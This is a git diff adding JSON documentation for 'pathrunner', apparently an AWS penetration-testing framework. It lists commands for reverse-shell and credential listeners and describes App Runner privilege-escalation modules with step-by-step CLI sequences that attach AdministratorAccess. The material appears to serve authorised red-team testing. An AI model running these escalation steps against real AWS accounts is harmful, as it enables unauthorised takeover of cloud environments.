+          "name": "start",
+          "path": "pathrunner attacker listener start",
+          "short": "Start the unified listener (HTTPS creds + TLS shells)",
+          "usage": "pathrunner attacker listener start [flags]",
+          "flags": [
+            {
+              "name": "host",
+              "usage": "Bind address (default: 0.0.0.0)",
+              "type": "string"
+            },
+            {
+              "name": "https-port",
+              "usage": "Credential collection port (default: 8443)",
+              "default": "0",
+              "type": "int"
+            },
+            {
+              "name": "public-ip",
+              "usage": "Override auto-detected public IP",
+              "type": "string"
+            },
+            {
+              "name": "shell-port",
+              "usage": "Reverse shell port (default: 4444)",
+              "default": "0",
+              "type": "int"
+            }
+          ]
+        },
+        {
+          "name": "status",
+          "path": "pathrunner attacker listener status",
+          "short": "Show listener state and statistics",
+          "usage": "pathrunner attacker listener status"
+        },
+        {
+          "name": "stop",
+          "path": "pathrunner attacker listener stop",
+          "short": "Stop the listener",
+          "usage": "pathrunner attacker listener stop"
+        }
+      ]
+    },
+    {
+      "name": "set",
+      "path": "pathrunner attacker set",
+      "short": "Configure attacker account credentials (alias for 'attacker identity add')",
+      "usage": "pathrunner attacker set",
+      "subcommands": [
+        {
+          "name": "keys",
+          "path": "pathrunner attacker set keys",
+          "short": "Configure from access keys",
+          "usage": "pathrunner attacker set keys [flags]",
+          "flags": [
+            {
+              "name": "access",
+              "usage": "AWS access key ID",
+              "type": "string"
+            },
+            {
+              "name": "region",
+              "usage": "AWS region (default: us-east-1)",
+              "type": "string"
+            },
+            {
+              "name": "secret",
+              "usage": "AWS secret access key",
+              "type": "string"
+            },
+            {
+              "name": "token",
+              "usage": "AWS session token (optional)",
+              "type": "string"
+            }
+          ]
+        },
+        {
+          "name": "profile",
+          "path": "pathrunner attacker set profile",
+          "short": "Configure from AWS profile",
+          "usage": "pathrunner attacker set profile [name]"
+        }
+      ]
+    },
+    {
+      "name": "show",
+      "path": "pathrunner attacker show",
+      "short": "Show current attacker identity (alias for 'attacker identity show')",
+      "usage": "pathrunner attacker show"
+    },
+    {
+      "name": "validate",
+      "path": "pathrunner attacker validate",
+      "short": "Validate attacker credentials (alias for 'attacker identity validate')",
+      "usage": "pathrunner attacker validate"
+    }
+  ],
+  "gifs": [
+    "attacker-identity-show",
+    "attacker-infra-status",
+    "attacker-listener-status"
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/commands/aws.json b/docs/pathrunner/data/commands/aws.json
new file mode 100644
index 00000000..6f5b3171
--- /dev/null
+++ b/docs/pathrunner/data/commands/aws.json
@@ -0,0 +1,9 @@
+{
+  "name": "aws",
+  "path": "pathrunner aws",
+  "group": "core",
+  "short": "Execute AWS CLI commands with current identity credentials",
+  "long": "Passes through to the AWS CLI binary with current identity's credentials automatically injected",
+  "usage": "pathrunner aws",
+  "gifs": []
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/commands/cloudfox.json b/docs/pathrunner/data/commands/cloudfox.json
new file mode 100644
index 00000000..e5d8b4d8
--- /dev/null
+++ b/docs/pathrunner/data/commands/cloudfox.json
@@ -0,0 +1,24 @@
+{
+  "name": "cloudfox",
+  "path": "pathrunner cloudfox",
+  "group": "core",
+  "short": "Import cloudfox output data",
+  "long": "Import AWS resource data from cloudfox output directories",
+  "usage": "pathrunner cloudfox",
+  "subcommands": [
+    {
+      "name": "import",
+      "path": "pathrunner cloudfox import",
+      "short": "Import cloudfox output data",
+      "usage": "pathrunner cloudfox import [flags]",
+      "flags": [
+        {
+          "name": "path",
+          "usage": "Cloudfox output directory path",
+          "type": "string"
+        }
+      ]
+    }
+  ],
+  "gifs": []
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/commands/context.json b/docs/pathrunner/data/commands/context.json
new file mode 100644
index 00000000..07bce6c7
--- /dev/null
+++ b/docs/pathrunner/data/commands/context.json
@@ -0,0 +1,8 @@
+{
+  "name": "context",
+  "path": "pathrunner context",
+  "group": "core",
+  "short": "Show current context (workspace, identity, module, options)",
+  "usage": "pathrunner context",
+  "gifs": []
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/commands/discover.json b/docs/pathrunner/data/commands/discover.json
new file mode 100644
index 00000000..a9831cac
--- /dev/null
+++ b/docs/pathrunner/data/commands/discover.json
@@ -0,0 +1,9 @@
+{
+  "name": "discover",
+  "path": "pathrunner discover",
+  "group": "module",
+  "short": "Auto-discover values for module options using AWS API calls",
+  "long": "Uses the current identity's permissions to enumerate valid values for discoverable module options",
+  "usage": "pathrunner discover [OPTION]",
+  "gifs": []
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/commands/exploit.json b/docs/pathrunner/data/commands/exploit.json
new file mode 100644
index 00000000..43d6f138
--- /dev/null
+++ b/docs/pathrunner/data/commands/exploit.json
@@ -0,0 +1,8 @@
+{
+  "name": "exploit",
+  "path": "pathrunner exploit",
+  "group": "module",
+  "short": "Execute the current module",
+  "usage": "pathrunner exploit",
+  "gifs": []
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/commands/identity.json b/docs/pathrunner/data/commands/identity.json
new file mode 100644
index 00000000..cf057399
--- /dev/null
+++ b/docs/pathrunner/data/commands/identity.json
@@ -0,0 +1,139 @@
+{
+  "name": "identity",
+  "path": "pathrunner identity",
+  "group": "core",
+  "short": "Manage AWS identities",
+  "long": "Add, list, switch, and manage AWS credential identities",
+  "usage": "pathrunner identity",
+  "subcommands": [
+    {
+      "name": "add",
+      "path": "pathrunner identity add",
+      "short": "Add AWS identity",
+      "long": "Add AWS identity from environment, profile, keys, file, clipboard, or exploit output",
+      "usage": "pathrunner identity add [flags]",
+      "flags": [
+        {
+          "name": "access",
+          "usage": "Access key ID (requires --secret)",
+          "type": "string"
+        },
+        {
+          "name": "check-admin",
+          "usage": "Auto-check admin privileges after adding",
+          "default": "false",
+          "type": "bool"
+        },
+        {
+          "name": "from-clipboard",
+          "usage": "Read credentials from clipboard or stdin",
+          "default": "false",
+          "type": "bool"
+        },
+        {
+          "name": "from-file",
+          "usage": "Read credentials from file",
+          "type": "string"
+        },
+        {
+          "name": "from-output",
+          "usage": "Extract credentials from last exploit output",
+          "default": "false",
+          "type": "bool"
+        },
+        {
+          "name": "from-profile",
+          "usage": "AWS profile name (alias for --profile)",
+          "type": "string"
+        },
+        {
+          "name": "name",
+          "usage": "Custom name for the identity",
+          "type": "string"
+        },
+        {
+          "name": "profile",
+          "usage": "AWS profile name",
+          "type": "string"
+        },
+        {
+          "name": "secret",
+          "usage": "Secret access key",
+          "type": "string"
+        },
+        {
+          "name": "switch",
+          "usage": "Auto-switch to the new identity without prompting",
+          "default": "false",
+          "type": "bool"
+        },
+        {
+          "name": "token",
+          "usage": "Session token (optional)",
+          "type": "string"
+        }
+      ]
+    },
+    {
+      "name": "check",
+      "path": "pathrunner identity check",
+      "short": "Check if identity has admin privileges",
+      "long": "Uses IAM Policy Simulator to test whether an identity has admin-level access",
+      "usage": "pathrunner identity check [name]"
+    },
+    {
+      "name": "clear",
+      "path": "pathrunner identity clear",
+      "short": "Remove identity or clear expired identities",
+      "long": "Remove a specific identity by name, or use --expired to remove all expired identities",
+      "usage": "pathrunner identity clear [identity-name] [flags]",
+      "aliases": [
+        "remove"
+      ],
+      "flags": [
+        {
+          "name": "expired",
+          "usage": "Remove all expired identities",
+          "default": "false",
+          "type": "bool"
+        }
+      ]
+    },
+    {
+      "name": "current",
+      "path": "pathrunner identity current",
+      "short": "Show current identity details",
+      "usage": "pathrunner identity current"
+    },
+    {
+      "name": "list",
+      "path": "pathrunner identity list",
+      "short": "List all configured identities",
+      "usage": "pathrunner identity list"
+    },
+    {
+      "name": "refresh",
+      "path": "pathrunner identity refresh",
+      "short": "Refresh current identity credentials",
+      "usage": "pathrunner identity refresh"
+    },
+    {
+      "name": "show",
+      "path": "pathrunner identity show",
+      "short": "Show current identity details",
+      "usage": "pathrunner identity show"
+    },
+    {
+      "name": "switch",
+      "path": "pathrunner identity switch",
+      "short": "Switch to different identity",
+      "usage": "pathrunner identity switch <name>"
+    }
+  ],
+  "gifs": [
+    "identity-current",
+    "identity-list",
+    "identity-show",
+    "identity-switch"
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/commands/info.json b/docs/pathrunner/data/commands/info.json
new file mode 100644
index 00000000..6990fb74
--- /dev/null
+++ b/docs/pathrunner/data/commands/info.json
@@ -0,0 +1,9 @@
+{
+  "name": "info",
+  "path": "pathrunner info",
+  "group": "module",
+  "short": "Show detailed module and path information",
+  "long": "Show path metadata for the current module, or any module by ID without selecting it",
+  "usage": "pathrunner info [module-id]",
+  "gifs": []
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/commands/modules.json b/docs/pathrunner/data/commands/modules.json
new file mode 100644
index 00000000..947c16e3
--- /dev/null
+++ b/docs/pathrunner/data/commands/modules.json
@@ -0,0 +1,65 @@
+{
+  "name": "modules",
+  "path": "pathrunner modules",
+  "group": "core",
+  "short": "List and search modules",
+  "usage": "pathrunner modules",
+  "subcommands": [
+    {
+      "name": "list",
+      "path": "pathrunner modules list",
+      "short": "List all available modules",
+      "usage": "pathrunner modules list [flags]",
+      "flags": [
+        {
+          "name": "wide",
+          "usage": "Include description column",
+          "default": "false",
+          "type": "bool"
+        }
+      ]
+    },
+    {
+      "name": "mark-results",
+      "path": "pathrunner modules mark-results",
+      "short": "Record per-payload test results for a module",
+      "usage": "pathrunner modules mark-results <module-id> <scenario-id> <results-json-file>"
+    },
+    {
+      "name": "mark-status",
+      "path": "pathrunner modules mark-status",
+      "short": "Set module test status (tested|untested|failing|needs-update)",
+      "usage": "pathrunner modules mark-status <module-id> <status>"
+    },
+    {
+      "name": "mark-tested",
+      "path": "pathrunner modules mark-tested",
+      "short": "Mark a module as tested",
+      "usage": "pathrunner modules mark-tested <module-id> [lab-name]"
+    },
+    {
+      "name": "search",
+      "path": "pathrunner modules search",
+      "short": "Search modules by keyword",
+      "usage": "pathrunner modules search <query>"
+    },
+    {
+      "name": "status",
+      "path": "pathrunner modules status",
+      "short": "Show test status for modules",
+      "usage": "pathrunner modules status [module-id]"
+    },
+    {
+      "name": "summary",
+      "path": "pathrunner modules summary",
+      "short": "Show module count by service",
+      "usage": "pathrunner modules summary"
+    }
+  ],
+  "gifs": [
+    "modules-info",
+    "modules-list",
+    "modules-status",
+    "modules-summary"
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/commands/options.json b/docs/pathrunner/data/commands/options.json
new file mode 100644
index 00000000..1eca9fba
--- /dev/null
+++ b/docs/pathrunner/data/commands/options.json
@@ -0,0 +1,8 @@
+{
+  "name": "options",
+  "path": "pathrunner options",
+  "group": "module",
+  "short": "Show current module options",
+  "usage": "pathrunner options",
+  "gifs": []
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/commands/payloads.json b/docs/pathrunner/data/commands/payloads.json
new file mode 100644
index 00000000..9e4bf796
--- /dev/null
+++ b/docs/pathrunner/data/commands/payloads.json
@@ -0,0 +1,34 @@
+{
+  "name": "payloads",
+  "path": "pathrunner payloads",
+  "group": "module",
+  "short": "List available payloads",
+  "usage": "pathrunner payloads [flags]",
+  "flags": [
+    {
+      "name": "all",
+      "usage": "List payloads for all modules",
+      "default": "false",
+      "type": "bool"
+    }
+  ],
+  "subcommands": [
+    {
+      "name": "list",
+      "path": "pathrunner payloads list",
+      "short": "List all available payloads",
+      "usage": "pathrunner payloads list [flags]",
+      "flags": [
+        {
+          "name": "all",
+          "usage": "List payloads for all modules",
+          "default": "false",
+          "type": "bool"
+        }
+      ]
+    }
+  ],
+  "gifs": [
+    "payloads"
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/commands/pmapper.json b/docs/pathrunner/data/commands/pmapper.json
new file mode 100644
index 00000000..4de3748e
--- /dev/null
+++ b/docs/pathrunner/data/commands/pmapper.json
@@ -0,0 +1,44 @@
+{
+  "name": "pmapper",
+  "path": "pathrunner pmapper",
+  "group": "core",
+  "short": "Import and analyze PMapper privilege escalation graphs",
+  "long": "Import PMapper graph data, find escalation paths, and map them to pathrunner modules",
+  "usage": "pathrunner pmapper",
+  "subcommands": [
+    {
+      "name": "analyze",
+      "path": "pathrunner pmapper analyze",
+      "short": "Analyze escalation paths for current identity",
+      "usage": "pathrunner pmapper analyze [flags]",
+      "flags": [
+        {
+          "name": "all",
+          "usage": "Analyze all workspace identities",
+          "default": "false",
+          "type": "bool"
+        }
+      ]
+    },
+    {
+      "name": "import",
+      "path": "pathrunner pmapper import",
+      "short": "Import PMapper graph data",
+      "usage": "pathrunner pmapper import [flags]",
+      "flags": [
+        {
+          "name": "path",
+          "usage": "PMapper data directory path",
+          "type": "string"
+        }
+      ]
+    },
+    {
+      "name": "status",
+      "path": "pathrunner pmapper status",
+      "short": "Show graph metadata and module coverage",
+      "usage": "pathrunner pmapper status"
+    }
+  ],
+  "gifs": []
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/commands/resources.json b/docs/pathrunner/data/commands/resources.json
new file mode 100644
index 00000000..aae77223
--- /dev/null
+++ b/docs/pathrunner/data/commands/resources.json
@@ -0,0 +1,81 @@
+{
+  "name": "resources",
+  "path": "pathrunner resources",
+  "group": "core",
+  "short": "List and explore imported AWS resources",
+  "long": "View AWS resources imported from cloudfox output",
+  "usage": "pathrunner resources",
+  "subcommands": [
+    {
+      "name": "clear",
+      "path": "pathrunner resources clear",
+      "short": "Remove imported resources from the resource store",
+      "usage": "pathrunner resources clear [flags]",
+      "flags": [
+        {
+          "name": "account",
+          "usage": "Clear resources for a specific AWS account ID",
+          "type": "string"
+        },
+        {
+          "name": "all",
+          "usage": "Clear all imported resources",
+          "default": "false",
+          "type": "bool"
+        }
+      ]
+    },
+    {
+      "name": "import",
+      "path": "pathrunner resources import",
+      "short": "Import cloudfox output data (alias for 'cloudfox import')",
+      "usage": "pathrunner resources import [flags]",
+      "flags": [
+        {
+          "name": "path",
+          "usage": "Cloudfox output directory path",
+          "type": "string"
+        }
+      ]
+    },
+    {
+      "name": "list",
+      "path": "pathrunner resources list",
+      "short": "List imported resources, optionally filtered by service",
+      "usage": "pathrunner resources list [service] [flags]",
+      "flags": [
+        {
+          "name": "account",
+          "usage": "AWS account ID",
+          "type": "string"
+        },
+        {
+          "name": "wide",
+          "usage": "Show ARN and type columns",
+          "default": "false",
+          "type": "bool"
+        }
+      ]
+    },
+    {
+      "name": "status",
+      "path": "pathrunner resources status",
+      "short": "Show import status",
+      "usage": "pathrunner resources status"
+    },
+    {
+      "name": "summary",
+      "path": "pathrunner resources summary",
+      "short": "Show resource counts by service and region",
+      "usage": "pathrunner resources summary [flags]",
+      "flags": [
+        {
+          "name": "account",
+          "usage": "AWS account ID",
+          "type": "string"
+        }
+      ]
+    }
+  ],
+  "gifs": []
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/commands/search.json b/docs/pathrunner/data/commands/search.json
new file mode 100644
index 00000000..a6fc7ff0
--- /dev/null
+++ b/docs/pathrunner/data/commands/search.json
@@ -0,0 +1,10 @@
+{
+  "name": "search",
+  "path": "pathrunner search",
+  "group": "core",
+  "short": "Search modules by keyword",
+  "usage": "pathrunner search <query>",
+  "gifs": [
+    "search"
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/commands/sessions.json b/docs/pathrunner/data/commands/sessions.json
new file mode 100644
index 00000000..c566b4bf
--- /dev/null
+++ b/docs/pathrunner/data/commands/sessions.json
@@ -0,0 +1,28 @@
+{
+  "name": "sessions",
+  "path": "pathrunner sessions",
+  "group": "core",
+  "short": "Manage reverse shell sessions",
+  "usage": "pathrunner sessions",
+  "subcommands": [
+    {
+      "name": "interact",
+      "path": "pathrunner sessions interact",
+      "short": "Interact with a session",
+      "usage": "pathrunner sessions interact [id]"
+    },
+    {
+      "name": "kill",
+      "path": "pathrunner sessions kill",
+      "short": "Kill a session",
+      "usage": "pathrunner sessions kill [id]"
+    },
+    {
+      "name": "list",
+      "path": "pathrunner sessions list",
+      "short": "List all shell sessions",
+      "usage": "pathrunner sessions list"
+    }
+  ],
+  "gifs": []
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/commands/set.json b/docs/pathrunner/data/commands/set.json
new file mode 100644
index 00000000..dbb1636a
--- /dev/null
+++ b/docs/pathrunner/data/commands/set.json
@@ -0,0 +1,8 @@
+{
+  "name": "set",
+  "path": "pathrunner set",
+  "group": "module",
+  "short": "Set module or payload options",
+  "usage": "pathrunner set <option> <value>",
+  "gifs": []
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/commands/show.json b/docs/pathrunner/data/commands/show.json
new file mode 100644
index 00000000..037f23e7
--- /dev/null
+++ b/docs/pathrunner/data/commands/show.json
@@ -0,0 +1,50 @@
+{
+  "name": "show",
+  "path": "pathrunner show",
+  "group": "module",
+  "short": "Show module options or information",
+  "usage": "pathrunner show",
+  "subcommands": [
+    {
+      "name": "info",
+      "path": "pathrunner show info",
+      "short": "Show detailed path metadata for current module",
+      "usage": "pathrunner show info"
+    },
+    {
+      "name": "modules",
+      "path": "pathrunner show modules",
+      "short": "List all available modules",
+      "usage": "pathrunner show modules"
+    },
+    {
+      "name": "options",
+      "path": "pathrunner show options",
+      "short": "Show current module options",
+      "usage": "pathrunner show options"
+    },
+    {
+      "name": "payload",
+      "path": "pathrunner show payload",
+      "short": "Show payload information",
+      "usage": "pathrunner show payload",
+      "subcommands": [
+        {
+          "name": "options",
+          "path": "pathrunner show payload options",
+          "short": "Show options for current payload",
+          "usage": "pathrunner show payload options"
+        }
+      ]
+    },
+    {
+      "name": "payloads",
+      "path": "pathrunner show payloads",
+      "short": "List payloads for current module",
+      "usage": "pathrunner show payloads"
+    }
+  ],
+  "gifs": [
+    "show-payloads"
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/commands/unset.json b/docs/pathrunner/data/commands/unset.json
new file mode 100644
index 00000000..08f4a2e7
--- /dev/null
+++ b/docs/pathrunner/data/commands/unset.json
@@ -0,0 +1,8 @@
+{
+  "name": "unset",
+  "path": "pathrunner unset",
+  "group": "module",
+  "short": "Unset module or payload options",
+  "usage": "pathrunner unset <option>",
+  "gifs": []
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/commands/use.json b/docs/pathrunner/data/commands/use.json
new file mode 100644
index 00000000..eb82f4ed
--- /dev/null
+++ b/docs/pathrunner/data/commands/use.json
@@ -0,0 +1,10 @@
+{
+  "name": "use",
+  "path": "pathrunner use",
+  "group": "core",
+  "short": "Select an exploitation module",
+  "usage": "pathrunner use <module>",
+  "gifs": [
+    "use-show-options"
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/commands/version.json b/docs/pathrunner/data/commands/version.json
new file mode 100644
index 00000000..f00a8237
--- /dev/null
+++ b/docs/pathrunner/data/commands/version.json
@@ -0,0 +1,10 @@
+{
+  "name": "version",
+  "path": "pathrunner version",
+  "group": "core",
+  "short": "Show pathrunner version information",
+  "usage": "pathrunner version",
+  "gifs": [
+    "version"
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/commands/whoami.json b/docs/pathrunner/data/commands/whoami.json
new file mode 100644
index 00000000..e293832f
--- /dev/null
+++ b/docs/pathrunner/data/commands/whoami.json
@@ -0,0 +1,8 @@
+{
+  "name": "whoami",
+  "path": "pathrunner whoami",
+  "group": "core",
+  "short": "Show current AWS identity information",
+  "usage": "pathrunner whoami",
+  "gifs": []
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/commands/workspace.json b/docs/pathrunner/data/commands/workspace.json
new file mode 100644
index 00000000..82185653
--- /dev/null
+++ b/docs/pathrunner/data/commands/workspace.json
@@ -0,0 +1,95 @@
+{
+  "name": "workspace",
+  "path": "pathrunner workspace",
+  "group": "core",
+  "short": "Manage pathrunner workspaces",
+  "long": "Create, switch, save, delete, and manage pathrunner workspaces",
+  "usage": "pathrunner workspace",
+  "subcommands": [
+    {
+      "name": "cleanup",
+      "path": "pathrunner workspace cleanup",
+      "short": "Clean up AWS resources in current workspace",
+      "usage": "pathrunner workspace cleanup [flags]",
+      "flags": [
+        {
+          "name": "all",
+          "usage": "Clean up all resources without interactive prompt",
+          "default": "false",
+          "type": "bool"
+        },
+        {
+          "name": "module",
+          "usage": "Only clean up resources created by a specific module ID",
+          "type": "string"
+        },
+        {
+          "name": "yes",
+          "shorthand": "y",
+          "usage": "Skip interactive confirmation prompt",
+          "default": "false",
+          "type": "bool"
+        }
+      ]
+    },
+    {
+      "name": "create",
+      "path": "pathrunner workspace create",
+      "short": "Create new workspace",
+      "usage": "pathrunner workspace create <name>"
+    },
+    {
+      "name": "delete",
+      "path": "pathrunner workspace delete",
+      "short": "Delete workspace",
+      "usage": "pathrunner workspace delete <name>"
+    },
+    {
+      "name": "history",
+      "path": "pathrunner workspace history",
+      "short": "Show command history with timestamps",
+      "usage": "pathrunner workspace history"
+    },
+    {
+      "name": "list",
+      "path": "pathrunner workspace list",
+      "short": "List all workspaces",
+      "usage": "pathrunner workspace list"
+    },
+    {
+      "name": "report",
+      "path": "pathrunner workspace report",
+      "short": "Generate cleanup report for handoff to client/admin",
+      "usage": "pathrunner workspace report [flags]",
+      "flags": [
+        {
+          "name": "module",
+          "usage": "Only report resources from a specific module ID",
+          "type": "string"
+        },
+        {
+          "name": "output",
+          "shorthand": "o",
+          "usage": "Write report to file (format inferred from extension: .html or .md)",
+          "type": "string"
+        }
+      ]
+    },
+    {
+      "name": "save",
+      "path": "pathrunner workspace save",
+      "short": "Save current workspace state",
+      "usage": "pathrunner workspace save"
+    },
+    {
+      "name": "switch",
+      "path": "pathrunner workspace switch",
+      "short": "Switch to different workspace",
+      "usage": "pathrunner workspace switch <name>"
+    }
+  ],
+  "gifs": [
+    "workspace-create",
+    "workspace-list"
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/apprunner-001.json b/docs/pathrunner/data/modules/apprunner-001.json
new file mode 100644
index 00000000..318e7f62
--- /dev/null
+++ b/docs/pathrunner/data/modules/apprunner-001.json
@@ -0,0 +1,150 @@
+{
+  "id": "apprunner-001",
+  "name": "iam:PassRole + apprunner:CreateService",
+  "description": "A principal with iam:PassRole and apprunner:CreateService can create an AWS App Runner service with a privileged IAM role attached. The service's StartCommand executes as args to the aws CLI (ENTRYPOINT), running with the instance role's permissions. The container exits after the command; App Runner marks the service CREATE_FAILED, but the payload effect has already occurred.",
+  "category": "new-passrole",
+  "services": [
+    "iam",
+    "apprunner"
+  ],
+  "primaryService": "apprunner",
+  "aliases": [
+    "apprunner-passrole",
+    "exploit/apprunner_passrole"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/apprunner-001",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:PassRole",
+        "description": "Target role ARN must be in the Resource section"
+      },
+      {
+        "permission": "apprunner:CreateService",
+        "description": "Must have permission to create App Runner services"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "iam:CreateServiceLinkedRole",
+        "description": "Needed on first App Runner use in an account to create the service-linked role"
+      },
+      {
+        "permission": "iam:ListRoles",
+        "description": "Helpful for discovering available roles to pass"
+      },
+      {
+        "permission": "iam:GetRole",
+        "description": "Useful for viewing role trust policies"
+      },
+      {
+        "permission": "apprunner:ListServices",
+        "description": "List App Runner services to verify service creation"
+      },
+      {
+        "permission": "apprunner:DescribeService",
+        "description": "Check service status and configuration"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "A role must exist that trusts tasks.apprunner.amazonaws.com to assume it",
+      "The role must have administrative permissions (e.g., AdministratorAccess)"
+    ],
+    "lateral": [
+      "A role must exist that trusts tasks.apprunner.amazonaws.com to assume it"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - apprunner-001",
+      "url": "https://pathfinding.cloud/paths/apprunner-001"
+    },
+    {
+      "title": "Getting Shell and Data Access in AWS App Runner",
+      "url": "https://blog.appsecco.com/getting-shell-and-data-access-in-aws-app-runner-3632e844bc77"
+    },
+    {
+      "title": "HackTricks Cloud - AWS App Runner Privilege Escalation",
+      "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/index.html#iampassrole-apprunnercreateservice"
+    }
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0002 - Execution"
+    ],
+    "techniques": [
+      "T1078.004 - Valid Accounts: Cloud Accounts",
+      "T1651 - Cloud Administration Command"
+    ]
+  },
+  "options": [
+    {
+      "name": "ROLE_ARN",
+      "description": "Target IAM role ARN to pass to App Runner as the instance role (must trust tasks.apprunner.amazonaws.com)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload type (backdoor/attach-policy)",
+      "required": true
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for App Runner service deployment",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "SERVICE_NAME",
+      "description": "App Runner service name (auto-generated if not specified)",
+      "required": false,
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "CONTAINER_IMAGE",
+      "description": "Container image with aws-cli ENTRYPOINT (StartCommand becomes args)",
+      "required": false,
+      "default": "public.ecr.aws/aws-cli/aws-cli:latest"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Delete the App Runner service after execution (starting user may lack apprunner:DeleteService; use 'workspace cleanup' with admin credentials instead)",
+      "required": false,
+      "default": "false"
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Attach AdministratorAccess policy to an IAM user or role via App Runner service StartCommand",
+      "slug": "apprunner-backdoor-attach-policy",
+      "qualifiedName": "apprunner:backdoor/attach-policy",
+      "service": "apprunner",
+      "tags": [
+        "apprunner",
+        "bash",
+        "backdoor"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use apprunner-001",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD backdoor/attach-policy",
+    "pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "apprunner-001",
+  "gifs": [
+    {
+      "name": "apprunner-001",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/apprunner-002.json b/docs/pathrunner/data/modules/apprunner-002.json
new file mode 100644
index 00000000..b30121cd
--- /dev/null
+++ b/docs/pathrunner/data/modules/apprunner-002.json
@@ -0,0 +1,134 @@
+{
+  "id": "apprunner-002",
+  "name": "apprunner:UpdateService",
+  "description": "A principal with apprunner:UpdateService can modify an existing App Runner service's configuration. If the target service has a privileged IAM role attached, the attacker can update the service to use the aws-cli image with a StartCommand that executes with the service role's permissions. Unlike creating a new service, this does not require iam:PassRole since the role is already attached to the existing service.",
+  "category": "existing-passrole",
+  "services": [
+    "iam",
+    "apprunner"
+  ],
+  "primaryService": "apprunner",
+  "aliases": [
+    "apprunner-updateservice",
+    "exploit/apprunner_updateservice"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/apprunner-002",
+  "permissions": {
+    "required": [
+      {
+        "permission": "apprunner:UpdateService",
+        "description": "Target App Runner service ARN must be in the Resource section"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "apprunner:DescribeService",
+        "description": "Check service configuration and confirm the attached role"
+      },
+      {
+        "permission": "apprunner:ListServices",
+        "description": "Discover existing App Runner services to target"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "An App Runner service must exist with an IAM role attached",
+      "The service's role must have administrative permissions"
+    ],
+    "lateral": [
+      "An App Runner service must exist with an IAM role attached"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - apprunner-002",
+      "url": "https://pathfinding.cloud/paths/apprunner-002"
+    },
+    {
+      "title": "Getting Shell and Data Access in AWS App Runner",
+      "url": "https://blog.appsecco.com/getting-shell-and-data-access-in-aws-app-runner-3632e844bc77"
+    }
+  ],
+  "relatedPaths": [
+    "apprunner-001",
+    "lambda-003",
+    "glue-002"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0002 - Execution"
+    ],
+    "techniques": [
+      "T1078.004 - Valid Accounts: Cloud Accounts",
+      "T1651 - Cloud Administration Command"
+    ]
+  },
+  "options": [
+    {
+      "name": "SERVICE_ARN",
+      "description": "ARN of the existing App Runner service to update (must have a privileged role attached); auto-discovered when not set and a single service with a 'pl-' prefix exists in the region",
+      "required": false,
+      "mockValue": "arn:aws:iam::123456789012:resource/target-resource"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload type (backdoor/attach-policy)",
+      "required": true
+    },
+    {
+      "name": "TARGET_ARN",
+      "description": "IAM user or role ARN to target (auto-resolved from caller identity if not set)",
+      "required": false,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region of the target App Runner service",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "CONTAINER_IMAGE",
+      "description": "Container image to use for the exploit (aws-cli ENTRYPOINT; StartCommand becomes args)",
+      "required": false,
+      "default": "public.ecr.aws/aws-cli/aws-cli:latest"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Restore the original App Runner service configuration after execution (starting user has apprunner:UpdateService so restoration is possible)",
+      "required": false,
+      "default": "false"
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Attach AdministratorAccess policy to an IAM user or role via App Runner service StartCommand",
+      "slug": "apprunner-backdoor-attach-policy",
+      "qualifiedName": "apprunner:backdoor/attach-policy",
+      "service": "apprunner",
